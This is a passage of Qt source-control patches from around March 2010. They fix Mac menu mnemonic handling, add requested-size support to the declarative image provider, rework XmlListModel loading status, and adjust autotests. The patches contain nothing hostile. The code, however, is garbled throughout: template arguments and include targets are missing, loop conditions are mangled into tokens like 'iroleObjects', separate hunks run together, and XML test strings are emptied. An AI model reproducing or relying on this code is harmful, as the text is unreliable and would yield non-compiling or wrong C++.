83a811b..0477454 100644 --- a/src/script/bridge/qscriptqobject.cpp +++ b/src/script/bridge/qscriptqobject.cpp @@ -2074,6 +2074,7 @@ void QObjectConnectionManager::execute(int slotIndex, void **argv) JSC::JSValue slot; JSC::JSValue senderWrapper; int signalIndex = -1; + QScript::APIShim shim(engine); for (int i = 0; i < connections.size(); ++i) { const QVector &cs = connections.at(i); for (int j = 0; j < cs.size(); ++j) { -- cgit v0.12 From c19cb39ddbfd93802bfe61ecaa4f737a1bd1c1bb Mon Sep 17 00:00:00 2001 From: Fabien Freling Date: Fri, 26 Mar 2010 12:34:54 +0100 Subject: Fix the bug where the ampersand symbol would be discarded. We are now checking that the QAction is not related to the About or Quit button on Mac OS X Task-number: QTBUG-7540 Reviewed-by: Morten Sorvig --- src/gui/styles/qmacstyle_mac.mm | 4 ++-- src/gui/widgets/qmenu_mac.mm | 6 +++++- 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/src/gui/styles/qmacstyle_mac.mm b/src/gui/styles/qmacstyle_mac.mm index 7097291..074dd89 100644 --- a/src/gui/styles/qmacstyle_mac.mm +++ b/src/gui/styles/qmacstyle_mac.mm @@ -434,13 +434,13 @@ static inline bool isTreeView(const QWidget *widget) QString qt_mac_removeMnemonics(const QString &original) { - // copied from qt_format_text (to be bug-for-bug compatible). QString returnText(original.size(), 0); int finalDest = 0; int currPos = 0; int l = original.length(); while (l) { - if (original.at(currPos) == QLatin1Char('&')) { + if (original.at(currPos) == QLatin1Char('&') + && (l == 1 || original.at(currPos + 1) != QLatin1Char('&'))) { ++currPos; --l; if (l == 0) diff --git a/src/gui/widgets/qmenu_mac.mm b/src/gui/widgets/qmenu_mac.mm index 9a14ce6..6a0eb53 100644 --- a/src/gui/widgets/qmenu_mac.mm +++ b/src/gui/widgets/qmenu_mac.mm @@ -1391,7 +1391,11 @@ QMenuPrivate::QMacMenuPrivate::syncAction(QMacMenuAction *action) } else { [item setTitle: qt_mac_QStringToNSString(finalString)]; } - [item setTitle:qt_mac_QStringToNSString(qt_mac_removeMnemonics(text))]; + + if (action->action->menuRole() == QAction::AboutRole || action->action->menuRole() == QAction::QuitRole) + [item setTitle:qt_mac_QStringToNSString(text)]; + else + [item setTitle:qt_mac_QStringToNSString(qt_mac_removeMnemonics(text))]; // Cocoa Enabled [item setEnabled: action->action->isEnabled()]; -- cgit v0.12 From f1bbb1648a9770f37ca39b8d68d6bd269dd06250 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jo=C3=A3o=20Abecasis?= Date: Fri, 26 Mar 2010 12:33:08 +0100 Subject: Qualify ptrdiff_t's namespace in stltest configure test Reviewed-by: Thiago Macieira Task-number: QTBUG-9046 --- config.tests/unix/stl/stltest.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config.tests/unix/stl/stltest.cpp b/config.tests/unix/stl/stltest.cpp index ff9b8f9..382f5cb 100644 --- a/config.tests/unix/stl/stltest.cpp +++ b/config.tests/unix/stl/stltest.cpp @@ -69,7 +69,7 @@ class DummyIterator public: T *i; typedef std::random_access_iterator_tag iterator_category; - typedef ptrdiff_t difference_type; + typedef std::ptrdiff_t difference_type; typedef T value_type; typedef T *pointer; typedef T &reference; -- cgit v0.12 From ffdd3c40413ef933506c040f40e4fb7ecd1ee062 Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Mon, 29 Mar 2010 08:32:49 +1000 Subject: Installed imports are no longer searched relative to caller. (quoted URL is for that) --- tests/auto/declarative/qdeclarativedom/tst_qdeclarativedom.cpp | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/auto/declarative/qdeclarativedom/tst_qdeclarativedom.cpp b/tests/auto/declarative/qdeclarativedom/tst_qdeclarativedom.cpp index adea384..16efba9 100644 --- a/tests/auto/declarative/qdeclarativedom/tst_qdeclarativedom.cpp +++ b/tests/auto/declarative/qdeclarativedom/tst_qdeclarativedom.cpp @@ -340,6 +340,7 @@ void tst_qdeclarativedom::loadImports() "Item {}"; QDeclarativeEngine engine; + engine.addImportPath(SRCDIR "/data"); QDeclarativeDomDocument document; QVERIFY(document.load(&engine, qml, QUrl::fromLocalFile(SRCDIR "/data/dummy.qml"))); -- cgit v0.12 From 6b619af035a995cf16d977439995cf7c1c0d366e Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Mon, 29 Mar 2010 08:56:09 +1000 Subject: tyop --- src/declarative/graphicsitems/qdeclarativeimagebase.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase.cpp b/src/declarative/graphicsitems/qdeclarativeimagebase.cpp index b8d67ff..5a234b7 100644 --- a/src/declarative/graphicsitems/qdeclarativeimagebase.cpp +++ b/src/declarative/graphicsitems/qdeclarativeimagebase.cpp @@ -152,7 +152,7 @@ void QDeclarativeImageBase::load() } else { d->status = Loading; int reqwidth = d->sourcesize.width(); - int reqheight = d->sourcesize.width(); + int reqheight = d->sourcesize.height(); QSize impsize; QDeclarativePixmapReply::Status status = QDeclarativePixmapCache::get(d->url, &d->pix, &impsize, d->async, reqwidth, reqheight); if (status != QDeclarativePixmapReply::Ready && status != QDeclarativePixmapReply::Error) { -- cgit v0.12 From a3868307c0e1584a1f694efc4a7b980b54c6e2b1 Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Mon, 29 Mar 2010 08:57:03 +1000 Subject: Source resizing for QDeclarativeImageProvider too. (fixes test too) --- src/declarative/qml/qdeclarativeengine.cpp | 4 +-- src/declarative/qml/qdeclarativeengine_p.h | 2 +- src/declarative/qml/qdeclarativeimageprovider.cpp | 6 ++++- src/declarative/qml/qdeclarativeimageprovider.h | 2 +- src/declarative/util/qdeclarativepixmapcache.cpp | 4 ++- .../tst_qdeclarativeimageprovider.cpp | 30 ++++++++++++++-------- 6 files changed, 32 insertions(+), 16 deletions(-) diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index ad26650..dea5a40 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -580,13 +580,13 @@ void QDeclarativeEngine::removeImageProvider(const QString &providerId) delete d->imageProviders.take(providerId); } -QImage QDeclarativeEnginePrivate::getImageFromProvider(const QUrl &url) +QImage QDeclarativeEnginePrivate::getImageFromProvider(const QUrl &url, QSize *size, const QSize& req_size) { QMutexLocker locker(&mutex); QImage image; QDeclarativeImageProvider *provider = imageProviders.value(url.host()); if (provider) - image = provider->request(url.path().mid(1)); + image = provider->request(url.path().mid(1), size, req_size); return image; } diff --git a/src/declarative/qml/qdeclarativeengine_p.h b/src/declarative/qml/qdeclarativeengine_p.h index 06b5027..84bf061 100644 --- a/src/declarative/qml/qdeclarativeengine_p.h +++ b/src/declarative/qml/qdeclarativeengine_p.h @@ -225,7 +225,7 @@ public: mutable QDeclarativeNetworkAccessManagerFactory *networkAccessManagerFactory; QHash imageProviders; - QImage getImageFromProvider(const QUrl &url); + QImage getImageFromProvider(const QUrl &url, QSize *size, const QSize& req_size); mutable QMutex mutex; diff --git a/src/declarative/qml/qdeclarativeimageprovider.cpp b/src/declarative/qml/qdeclarativeimageprovider.cpp index 9ef8545..b992b9f 100644 --- a/src/declarative/qml/qdeclarativeimageprovider.cpp +++ b/src/declarative/qml/qdeclarativeimageprovider.cpp @@ -61,10 +61,14 @@ QDeclarativeImageProvider::~QDeclarativeImageProvider() } /*! - \fn QImage QDeclarativeImageProvider::request(const QString &id) + \fn QImage QDeclarativeImageProvider::request(const QString &id, QSize *size, const QSize& requested_size) Implement this method to return the image with \a id. + If \a requested_size is a valid size, resize the image to that size before returning. + + In any case, \a size must be set to the (original) size of the image. + Note: this method may be called by multiple threads, so ensure the implementation of this method is reentrant. */ diff --git a/src/declarative/qml/qdeclarativeimageprovider.h b/src/declarative/qml/qdeclarativeimageprovider.h index 6ee7bcf..50b73fe 100644 --- a/src/declarative/qml/qdeclarativeimageprovider.h +++ b/src/declarative/qml/qdeclarativeimageprovider.h @@ -54,7 +54,7 @@ class Q_DECLARATIVE_EXPORT QDeclarativeImageProvider { public: virtual ~QDeclarativeImageProvider(); - virtual QImage request(const QString &id) = 0; + virtual QImage request(const QString &id, QSize *size, const QSize& requested_size) = 0; }; QT_END_NAMESPACE diff --git a/src/declarative/util/qdeclarativepixmapcache.cpp b/src/declarative/util/qdeclarativepixmapcache.cpp index 54dccce..1d90bf8 100644 --- a/src/declarative/util/qdeclarativepixmapcache.cpp +++ b/src/declarative/util/qdeclarativepixmapcache.cpp @@ -255,7 +255,9 @@ bool QDeclarativeImageRequestHandler::event(QEvent *event) // fetch if (url.scheme() == QLatin1String("image")) { // Use QmlImageProvider - QImage image = QDeclarativeEnginePrivate::get(engine)->getImageFromProvider(url); + QSize read_impsize; + QImage image = QDeclarativeEnginePrivate::get(engine)->getImageFromProvider(url, &read_impsize, QSize(runningJob->forcedWidth(),runningJob->forcedHeight())); + qmlOriginalSizes()->insert(url, read_impsize); QDeclarativeImageReaderEvent::ReadError errorCode = QDeclarativeImageReaderEvent::NoError; QString errorStr; if (image.isNull()) { diff --git a/tests/auto/declarative/qdeclarativeimageprovider/tst_qdeclarativeimageprovider.cpp b/tests/auto/declarative/qdeclarativeimageprovider/tst_qdeclarativeimageprovider.cpp index c5bdfc8..fe5f5a2 100644 --- a/tests/auto/declarative/qdeclarativeimageprovider/tst_qdeclarativeimageprovider.cpp +++ b/tests/auto/declarative/qdeclarativeimageprovider/tst_qdeclarativeimageprovider.cpp @@ -43,6 +43,7 @@ #include #include #include +#include // QDeclarativeImageProvider::request() is run in an idle thread where possible // Be generous in our timeout. @@ -76,28 +77,35 @@ private: class TestProvider : public QDeclarativeImageProvider { public: - QImage request(const QString &id) { - QImage image; - image.load(SRCDIR "/data/" + id); - return image; + QImage request(const QString &id, QSize *size, const QSize& requested_size) { + QImageReader io(SRCDIR "/data/" + id); + if (size) *size = io.size(); + if (requested_size.isValid()) + io.setScaledSize(requested_size); + return io.read(); } }; void tst_qdeclarativeimageprovider::imageSource_data() { QTest::addColumn("source"); + QTest::addColumn("properties"); + QTest::addColumn("size"); QTest::addColumn("error"); - QTest::newRow("exists") << "image://test/exists.png" << ""; - QTest::newRow("missing") << "image://test/no-such-file.png" + QTest::newRow("exists") << "image://test/exists.png" << "" << QSize(100,100) << ""; + QTest::newRow("scaled") << "image://test/exists.png" << "sourceSize: \"80x30\"" << QSize(80,30) << ""; + QTest::newRow("missing") << "image://test/no-such-file.png" << "" << QSize() << "\"Failed to get image from provider: image://test/no-such-file.png\" "; - QTest::newRow("unknown provider") << "image://bogus/exists.png" + QTest::newRow("unknown provider") << "image://bogus/exists.png" << "" << QSize() << "\"Failed to get image from provider: image://bogus/exists.png\" "; } void tst_qdeclarativeimageprovider::imageSource() { QFETCH(QString, source); + QFETCH(QString, properties); + QFETCH(QSize, size); QFETCH(QString, error); if (!error.isEmpty()) @@ -106,7 +114,7 @@ void tst_qdeclarativeimageprovider::imageSource() engine.addImageProvider("test", new TestProvider); QVERIFY(engine.imageProvider("test") != 0); - QString componentStr = "import Qt 4.6\nImage { source: \"" + source + "\" }"; + QString componentStr = "import Qt 4.6\nImage { source: \"" + source + "\"; " + properties + " }"; QDeclarativeComponent component(&engine); component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); QDeclarativeImage *obj = qobject_cast(component.create()); @@ -118,8 +126,10 @@ void tst_qdeclarativeimageprovider::imageSource() if (error.isEmpty()) { TRY_WAIT(obj->status() == QDeclarativeImage::Ready); - QCOMPARE(obj->width(), 100.); - QCOMPARE(obj->height(), 100.); + QCOMPARE(obj->width(), 100.0); + QCOMPARE(obj->height(), 100.0); + QCOMPARE(obj->pixmap().width(), size.width()); + QCOMPARE(obj->pixmap().height(), size.height()); QCOMPARE(obj->fillMode(), QDeclarativeImage::Stretch); QCOMPARE(obj->progress(), 1.0); } else { -- cgit v0.12 From f87e175eb03a6b455f70e12bb24f75c26eacb4c2 Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Mon, 29 Mar 2010 08:59:28 +1000 Subject: QTBUG-9367 has been fixed. Expect pass. --- .../declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp | 1 - 1 file changed, 1 deletion(-) diff --git a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp index 041fd4d..2791722c 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp +++ b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp @@ -1248,7 +1248,6 @@ void tst_qdeclarativeecmascript::regExpBug() QDeclarativeComponent component(&engine, TEST_FILE("regExp.qml")); MyQmlObject *object = qobject_cast(component.create()); QVERIFY(object != 0); - QEXPECT_FAIL("", "QTBUG-9367", Continue); QCOMPARE(object->regExp().pattern(), QLatin1String("[a-zA-z]")); } -- cgit v0.12 From fbd4378fa12ba8f310a3ca9f6e7c1b393f596410 Mon Sep 17 00:00:00 2001 From: Warwick Allison Date: Mon, 29 Mar 2010 09:09:16 +1000 Subject: doc --- tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp | 3 +++ 1 file changed, 3 insertions(+) diff --git a/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp b/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp index 9073750..c42a315 100644 --- a/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp +++ b/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp @@ -281,6 +281,9 @@ void tst_qdeclarativeimage::svg() void tst_qdeclarativeimage::big() { + // If the JPEG loader does not implement scaling efficiently, it would + // have to build a 400 MB image. That would be a bug in the JPEG loader. + QString componentStr = "import Qt 4.6\nImage { source: \"" SRCDIR "/data/big.jpeg\"; sourceSize.width: 256; sourceSize.height: 256 }"; QDeclarativeComponent component(&engine); component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); -- cgit v0.12 From 0a114cf91058e215f4b6f8bbea09aa9e9ad57069 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Mon, 29 Mar 2010 09:16:45 +1000 Subject: Fix change description: Import -> import --- src/declarative/QmlChanges.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/declarative/QmlChanges.txt b/src/declarative/QmlChanges.txt index 6ab77a7..847f1f5 100644 --- a/src/declarative/QmlChanges.txt +++ b/src/declarative/QmlChanges.txt @@ -62,7 +62,7 @@ MouseArea { becomes -Import “foo.js” as Foo +import “foo.js” as Foo MouseArea { onClicked: Foo.foo() } -- cgit v0.12 From 6cce231a2d8da6fb232908a8c815ba3a433cfad7 Mon Sep 17 00:00:00 2001 From: Yann Bodson Date: Mon, 29 Mar 2010 09:19:07 +1000 Subject: Fix qdeclarativeimage autotest on the mac. --- .../declarative/qdeclarativeimage/data/heart-mac.png | Bin 0 -> 12621 bytes .../declarative/qdeclarativeimage/data/heart200-mac.png | Bin 0 -> 8062 bytes .../qdeclarativeimage/tst_qdeclarativeimage.cpp | 11 +++++++++-- 3 files changed, 9 insertions(+), 2 deletions(-) create mode 100644 tests/auto/declarative/qdeclarativeimage/data/heart-mac.png create mode 100644 tests/auto/declarative/qdeclarativeimage/data/heart200-mac.png diff --git a/tests/auto/declarative/qdeclarativeimage/data/heart-mac.png b/tests/auto/declarative/qdeclarativeimage/data/heart-mac.png new file mode 100644 index 0000000..d7df0e4 Binary files /dev/null and b/tests/auto/declarative/qdeclarativeimage/data/heart-mac.png differ diff --git a/tests/auto/declarative/qdeclarativeimage/data/heart200-mac.png b/tests/auto/declarative/qdeclarativeimage/data/heart200-mac.png new file mode 100644 index 0000000..df22325 Binary files /dev/null and b/tests/auto/declarative/qdeclarativeimage/data/heart200-mac.png differ diff --git a/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp b/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp index 9073750..bbf7421 100644 --- a/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp +++ b/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp @@ -155,7 +155,7 @@ void tst_qdeclarativeimage::imageSource() component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); QDeclarativeImage *obj = qobject_cast(component.create()); QVERIFY(obj != 0); - + if (remote || async) TRY_WAIT(obj->status() == QDeclarativeImage::Loading); @@ -266,7 +266,11 @@ void tst_qdeclarativeimage::svg() QCOMPARE(obj->pixmap().height(), 300); QCOMPARE(obj->width(), 550.0); QCOMPARE(obj->height(), 500.0); +#if defined(Q_OS_MAC) + QCOMPARE(obj->pixmap(), QPixmap(SRCDIR "/data/heart-mac.png")); +#else QCOMPARE(obj->pixmap(), QPixmap(SRCDIR "/data/heart.png")); +#endif obj->setSourceSize(QSize(200,200)); @@ -274,8 +278,11 @@ void tst_qdeclarativeimage::svg() QCOMPARE(obj->pixmap().height(), 200); QCOMPARE(obj->width(), 550.0); QCOMPARE(obj->height(), 500.0); +#if defined(Q_OS_MAC) + QCOMPARE(obj->pixmap(), QPixmap(SRCDIR "/data/heart200-mac.png")); +#else QCOMPARE(obj->pixmap(), QPixmap(SRCDIR "/data/heart200.png")); - +#endif delete obj; } -- cgit v0.12 From 2776592d1e8dc8059f3a1c05237294b4a45543d9 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Mon, 29 Mar 2010 09:35:55 +1000 Subject: Don't set status to Ready until model has been created (currently this is set as soon as XML data is downloaded, so there is no notification when model is actually ready to be used). This also fixes data() to not crash if it is called before the model is ready. Task-number: QTBUG-7835 --- src/declarative/util/qdeclarativexmllistmodel.cpp | 147 +++++++++++++-------- src/declarative/util/qdeclarativexmllistmodel_p.h | 3 +- .../tst_qdeclarativexmllistmodel.cpp | 97 ++++++++++++-- 3 files changed, 183 insertions(+), 64 deletions(-) diff --git a/src/declarative/util/qdeclarativexmllistmodel.cpp b/src/declarative/util/qdeclarativexmllistmodel.cpp index 3e08854..efc614b 100644 --- a/src/declarative/util/qdeclarativexmllistmodel.cpp +++ b/src/declarative/util/qdeclarativexmllistmodel.cpp @@ -57,6 +57,7 @@ #include #include #include +#include #include @@ -67,6 +68,8 @@ QT_BEGIN_NAMESPACE typedef QPair QDeclarativeXmlListRange; +#define XMLLISTMODEL_CLEAR_ID 0 + /*! \qmlclass XmlRole QDeclarativeXmlListModelRole \since 4.7 @@ -127,9 +130,10 @@ class QDeclarativeXmlQuery : public QThread Q_OBJECT public: QDeclarativeXmlQuery(QObject *parent=0) - : QThread(parent), m_quit(false), m_abortQueryId(-1), m_queryIds(0) { + : QThread(parent), m_quit(false), m_abortQueryId(-1), m_queryIds(XMLLISTMODEL_CLEAR_ID + 1) { qRegisterMetaType("QDeclarativeXmlQueryResult"); } + ~QDeclarativeXmlQuery() { m_mutex.lock(); m_quit = true; @@ -586,7 +590,8 @@ void QDeclarativeXmlListModel::setSource(const QUrl &src) Q_D(QDeclarativeXmlListModel); if (d->src != src) { d->src = src; - reload(); + if (d->xml.isEmpty()) // src is only used if d->xml is not set + reload(); emit sourceChanged(); } } @@ -663,23 +668,13 @@ void QDeclarativeXmlListModel::setNamespaceDeclarations(const QString &declarati /*! \qmlproperty enum XmlListModel::status + Specifies the model loading status, which can be one of the following: - This property holds the status of data source loading. It can be one of: \list - \o Null - no data source has been set - \o Ready - the data source has been loaded - \o Loading - the data source is currently being loaded - \o Error - an error occurred while loading the data source - \endlist - - Note that a change in the status property does not cause anything to happen - (although it reflects what has happened to the XmlListModel internally). If you wish - to react to the change in status you need to do it yourself, for example in one - of the following ways: - \list - \o Create a state, so that a state change occurs, e.g. State{name: 'loaded'; when: xmlListModel.status = XmlListModel.Ready;} - \o Do something inside the onStatusChanged signal handler, e.g. XmlListModel{id: xmlListModel; onStatusChanged: if(xmlListModel.status == XmlListModel.Ready) console.log('Loaded');} - \o Bind to the status variable somewhere, e.g. Text{text: if(xmlListModel.status!=XmlListModel.Ready){'Not Loaded';}else{'Loaded';}} + \o Null - No XML data has been set for this model. + \o Ready - The XML data has been loaded into the model. + \o Loading - The model is in the process of reading and loading XML data. + \o Error - An error occurred while the model was loading. \endlist \sa progress @@ -694,10 +689,17 @@ QDeclarativeXmlListModel::Status QDeclarativeXmlListModel::status() const /*! \qmlproperty real XmlListModel::progress - This property holds the progress of data source loading, from 0.0 (nothing loaded) - to 1.0 (finished). + This indicates the current progress of the downloading of the XML data + source. This value ranges from 0.0 (no data downloaded) to + 1.0 (all data downloaded). If the XML data is not from a remote source, + the progress becomes 1.0 as soon as the data is read. + + Note that when the progress is 1.0, the XML data has been downloaded, but + it is yet to be loaded into the model at this point. Use the status + property to find out when the XML data has been read and loaded into + the model. - \sa status + \sa status, source */ qreal QDeclarativeXmlListModel::progress() const { @@ -741,27 +743,8 @@ void QDeclarativeXmlListModel::reload() globalXmlQuery()->abort(d->queryId); d->queryId = -1; - int count = d->size; - if (count < 0) - d->size = 0; - bool hasKeys = false; - for (int i=0; iroleObjects.count(); i++) { - if (d->roleObjects[i]->isKey()) { - hasKeys = true; - break; - } - } - if (!hasKeys) { - d->data.clear(); + if (d->size < 0) d->size = 0; - if (count > 0) { - emit itemsRemoved(0, count); - emit countChanged(); - } - } - - if (d->src.isEmpty() && d->xml.isEmpty()) - return; if (d->reply) { d->reply->abort(); @@ -772,12 +755,22 @@ void QDeclarativeXmlListModel::reload() if (!d->xml.isEmpty()) { d->queryId = globalXmlQuery()->doQuery(d->query, d->namespaces, d->xml.toUtf8(), &d->roleObjects, d->keyRoleResultsCache); d->progress = 1.0; - d->status = Ready; + d->status = Loading; emit progressChanged(d->progress); emit statusChanged(d->status); return; } + if (d->src.isEmpty()) { + d->queryId = XMLLISTMODEL_CLEAR_ID; + d->progress = 1.0; + d->status = Loading; + emit progressChanged(d->progress); + emit statusChanged(d->status); + QTimer::singleShot(0, this, SLOT(dataCleared())); + return; + } + d->progress = 0.0; d->status = Loading; emit progressChanged(d->progress); @@ -813,18 +806,33 @@ void QDeclarativeXmlListModel::requestFinished() disconnect(d->reply, 0, this, 0); d->reply->deleteLater(); d->reply = 0; + + int count = this->count(); + d->data.clear(); + d->size = 0; + if (count > 0) { + emit itemsRemoved(0, count); + emit countChanged(); + } + d->status = Error; + d->queryId = -1; + emit statusChanged(d->status); } else { - d->status = Ready; QByteArray data = d->reply->readAll(); - d->queryId = globalXmlQuery()->doQuery(d->query, d->namespaces, data, &d->roleObjects, d->keyRoleResultsCache); + if (data.isEmpty()) { + d->queryId = XMLLISTMODEL_CLEAR_ID; + QTimer::singleShot(0, this, SLOT(dataCleared())); + } else { + d->queryId = globalXmlQuery()->doQuery(d->query, d->namespaces, data, &d->roleObjects, d->keyRoleResultsCache); + } disconnect(d->reply, 0, this, 0); d->reply->deleteLater(); d->reply = 0; + + d->progress = 1.0; + emit progressChanged(d->progress); } - d->progress = 1.0; - emit progressChanged(d->progress); - emit statusChanged(d->status); } void QDeclarativeXmlListModel::requestProgress(qint64 received, qint64 total) @@ -836,23 +844,58 @@ void QDeclarativeXmlListModel::requestProgress(qint64 received, qint64 total) } } +void QDeclarativeXmlListModel::dataCleared() +{ + Q_D(QDeclarativeXmlListModel); + QDeclarativeXmlQueryResult r; + r.queryId = XMLLISTMODEL_CLEAR_ID; + r.size = 0; + r.removed << qMakePair(0, count()); + r.keyRoleResultsCache = d->keyRoleResultsCache; + queryCompleted(r); +} + void QDeclarativeXmlListModel::queryCompleted(const QDeclarativeXmlQueryResult &result) { Q_D(QDeclarativeXmlListModel); if (result.queryId != d->queryId) return; + + int origCount = d->size; bool sizeChanged = result.size != d->size; + d->size = result.size; d->data = result.data; d->keyRoleResultsCache = result.keyRoleResultsCache; + d->status = Ready; + d->queryId = -1; - for (int i=0; iroleObjects.count(); i++) { + if (d->roleObjects[i]->isKey()) { + hasKeys = true; + break; + } + } + if (!hasKeys) { + if (!(origCount == 0 && d->size == 0)) { + emit itemsRemoved(0, origCount); + emit itemsInserted(0, d->size); + emit countChanged(); + } + + } else { + + for (int i=0; istatus); } QT_END_NAMESPACE diff --git a/src/declarative/util/qdeclarativexmllistmodel_p.h b/src/declarative/util/qdeclarativexmllistmodel_p.h index 7bb0f0e..7b85476 100644 --- a/src/declarative/util/qdeclarativexmllistmodel_p.h +++ b/src/declarative/util/qdeclarativexmllistmodel_p.h @@ -117,7 +117,7 @@ public: virtual void componentComplete(); Q_SIGNALS: - void statusChanged(Status); + void statusChanged(QDeclarativeXmlListModel::Status); void progressChanged(qreal progress); void countChanged(); void sourceChanged(); @@ -135,6 +135,7 @@ public Q_SLOTS: private Q_SLOTS: void requestFinished(); void requestProgress(qint64,qint64); + void dataCleared(); void queryCompleted(const QDeclarativeXmlQueryResult &); private: diff --git a/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp b/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp index e3aa5cc..74da79e 100644 --- a/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp +++ b/tests/auto/declarative/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp @@ -41,6 +41,8 @@ #include #include #include +#include +#include #ifdef QTEST_XMLPATTERNS #include @@ -53,6 +55,7 @@ typedef QList QDeclarativeXmlModelData; Q_DECLARE_METATYPE(QList) Q_DECLARE_METATYPE(QDeclarativeXmlModelData) +Q_DECLARE_METATYPE(QDeclarativeXmlListModel::Status) class tst_qdeclarativexmllistmodel : public QObject @@ -62,6 +65,10 @@ public: tst_qdeclarativexmllistmodel() {} private slots: + void initTestCase() { + qRegisterMetaType("QDeclarativeXmlListModel::Status"); + } + void buildModel(); void missingFields(); void cdata(); @@ -69,7 +76,10 @@ private slots: void roles(); void roleErrors(); void uniqueRoleNames(); - void status(); + void xml(); + void xml_data(); + void source(); + void source_data(); void data(); void reload(); void useKeys(); @@ -183,7 +193,6 @@ void tst_qdeclarativexmllistmodel::attributes() QDeclarativeXmlListModel *model = qobject_cast(component.create()); QVERIFY(model != 0); QTRY_COMPARE(model->count(), 5); - QList roles; roles << Qt::UserRole; QHash data = model->data(2, roles); @@ -249,27 +258,93 @@ void tst_qdeclarativexmllistmodel::uniqueRoleNames() delete model; } -void tst_qdeclarativexmllistmodel::status() + +void tst_qdeclarativexmllistmodel::xml() { - QDeclarativeXmlListModel *model; - model = new QDeclarativeXmlListModel; - QCOMPARE(model->status(), QDeclarativeXmlListModel::Null); + QFETCH(QString, xml); + QFETCH(int, count); - model->setXml(""); + QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/model.qml")); + QDeclarativeXmlListModel *model = qobject_cast(component.create()); + QSignalSpy spy(model, SIGNAL(statusChanged(QDeclarativeXmlListModel::Status))); + + QCOMPARE(model->progress(), qreal(0.0)); + QCOMPARE(model->status(), QDeclarativeXmlListModel::Loading); + QTRY_COMPARE(spy.count(), 1); spy.clear(); QCOMPARE(model->status(), QDeclarativeXmlListModel::Ready); + QCOMPARE(model->progress(), qreal(1.0)); + QCOMPARE(model->count(), 9); + + // if xml is empty (i.e. clearing) it won't have any effect if a source is set + if (xml.isEmpty()) + model->setSource(QUrl()); + model->setXml(xml); + QCOMPARE(model->progress(), qreal(1.0)); // immediately goes to 1.0 if using setXml() + QTRY_COMPARE(spy.count(), 1); spy.clear(); + QCOMPARE(model->status(), QDeclarativeXmlListModel::Loading); + QTRY_COMPARE(spy.count(), 1); spy.clear(); + QCOMPARE(model->status(), QDeclarativeXmlListModel::Ready); + QCOMPARE(model->count(), count); + delete model; +} + +void tst_qdeclarativexmllistmodel::xml_data() +{ + QTest::addColumn("xml"); + QTest::addColumn("count"); + + QTest::newRow("xml with no items") << "" << 0; + QTest::newRow("empty xml") << "" << 0; + QTest::newRow("one item") << "HobbesTiger7Large" << 1; +} + +void tst_qdeclarativexmllistmodel::source() +{ + QFETCH(QUrl, source); + QFETCH(int, count); + QFETCH(QDeclarativeXmlListModel::Status, status); QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/model.qml")); - model = qobject_cast(component.create()); - QVERIFY(model != 0); - QCOMPARE(model->status(), QDeclarativeXmlListModel::Loading); + QDeclarativeXmlListModel *model = qobject_cast(component.create()); + QSignalSpy spy(model, SIGNAL(statusChanged(QDeclarativeXmlListModel::Status))); - QTRY_COMPARE(model->count(), 9); + QCOMPARE(model->progress(), qreal(0.0)); + QCOMPARE(model->status(), QDeclarativeXmlListModel::Loading); + QTRY_COMPARE(spy.count(), 1); spy.clear(); QCOMPARE(model->status(), QDeclarativeXmlListModel::Ready); + QCOMPARE(model->progress(), qreal(1.0)); + QCOMPARE(model->count(), 9); + + model->setSource(source); + QCOMPARE(model->progress(), qreal(0.0)); + QTRY_COMPARE(spy.count(), 1); spy.clear(); + QCOMPARE(model->status(), QDeclarativeXmlListModel::Loading); + QTRY_COMPARE(spy.count(), 1); spy.clear(); + QCOMPARE(model->status(), status); + QCOMPARE(model->count(), count); + if (status == QDeclarativeXmlListModel::Ready) + QCOMPARE(model->progress(), qreal(1.0)); delete model; } +void tst_qdeclarativexmllistmodel::source_data() +{ + QTest::addColumn("source"); + QTest::addColumn("count"); + QTest::addColumn("status"); + + QTest::newRow("valid") << QUrl::fromLocalFile(SRCDIR "/data/model2.xml") << 2 << QDeclarativeXmlListModel::Ready; + QTest::newRow("invalid") << QUrl("http://blah.blah/blah.xml") << 0 << QDeclarativeXmlListModel::Error; + + // empty file + QTemporaryFile *temp = new QTemporaryFile(this); + if (temp->open()) 